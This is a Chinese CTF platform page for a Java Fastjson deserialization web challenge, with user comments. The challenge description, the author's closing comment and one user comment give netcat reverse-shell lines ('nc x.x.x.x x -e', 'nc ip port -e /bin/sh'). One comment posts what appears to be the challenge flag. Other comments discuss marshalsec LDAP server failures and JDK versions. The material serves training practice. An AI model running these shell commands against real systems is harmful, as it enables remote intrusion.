列表

详情


Java Fastjson Unserialize

平台   WEB  

题目作者: 云牧青

一  血: ‌‌‌‌‌云牧青

一血奖励: 8金币

解  决: 87

提  示:

描  述: /bin/bash:x ; /bin/sh √ ; /dev/tcp × ; nc x.x.x.x x -e √ ; flag{}

去做题

wxy1343 @ 2023-06-07 23:21:42 👍0

flag{c4825441cb7fe815994a6ba7651a9744}


ruibiu @ 2023-06-07 23:21:42 👍1

始终弹不回shell,回显com.alibaba.fastjson.JSONException: set property error, autoCommit


txadmin @ 2023-09-07 23:21:42 👍0

应该是jdk版本的问题,用jdk8可以反弹,用最新的jdk17反而不能


jack12138 @ 2023-06-07 23:21:42 👍0

正向弹shell: nc ip port -e /bin/sh


acvxd @ 2023-06-07 23:21:42 👍0

误: 找不到或无法加载主类 marshalsec.jndi.LDAPRefServer


sshui @ 2023-06-07 23:21:42 👍0

工具坏了,重新找一个


txadmin @ 2022-06-07 23:21:42 👍3

解题参考 https://www.cnblogs.com/ktsm/p/15700289.html


txadmin @ 2023-09-07 23:21:42 👍0

@成朗 不好意思,最近复现了一下,代码确实有问题,不能用wget下载,而是访问那个网址或者git clone下来


成朗 @ 2023-06-07 23:21:42 👍0

你这工具是坏的,虾仁猪心,,我用你的wp因为工具你编译的错误,导致我6个小时都在找哪里出错了。,,


txadmin @ 2022-06-07 23:21:42 👍0

题主是老java程序员吗?


云牧青 @ 2022-06-07 23:21:42 👍0

并不是Java程序员,看代码就知道了,超水,哈哈哈


blueyst @ 2022-06-07 23:21:42 👍2

传payload直接传死机了可还行,痛失5金币,记仇ing


云牧青 @ 2022-06-07 23:21:42 👍1

(つ﹏⊂)


blueyst @ 2022-06-07 23:21:42 👍2

自己抢自己一血了属于是


云牧青 @ 2022-06-07 23:21:42 👍1

哈哈哈哈哈哈哈,没忍住


云牧青 @ 2022-06-07 23:21:42 👍0

/bin/bash:x ; /bin/sh √ ; /dev/tcp × ; nc x.x.x.x x -e √ ;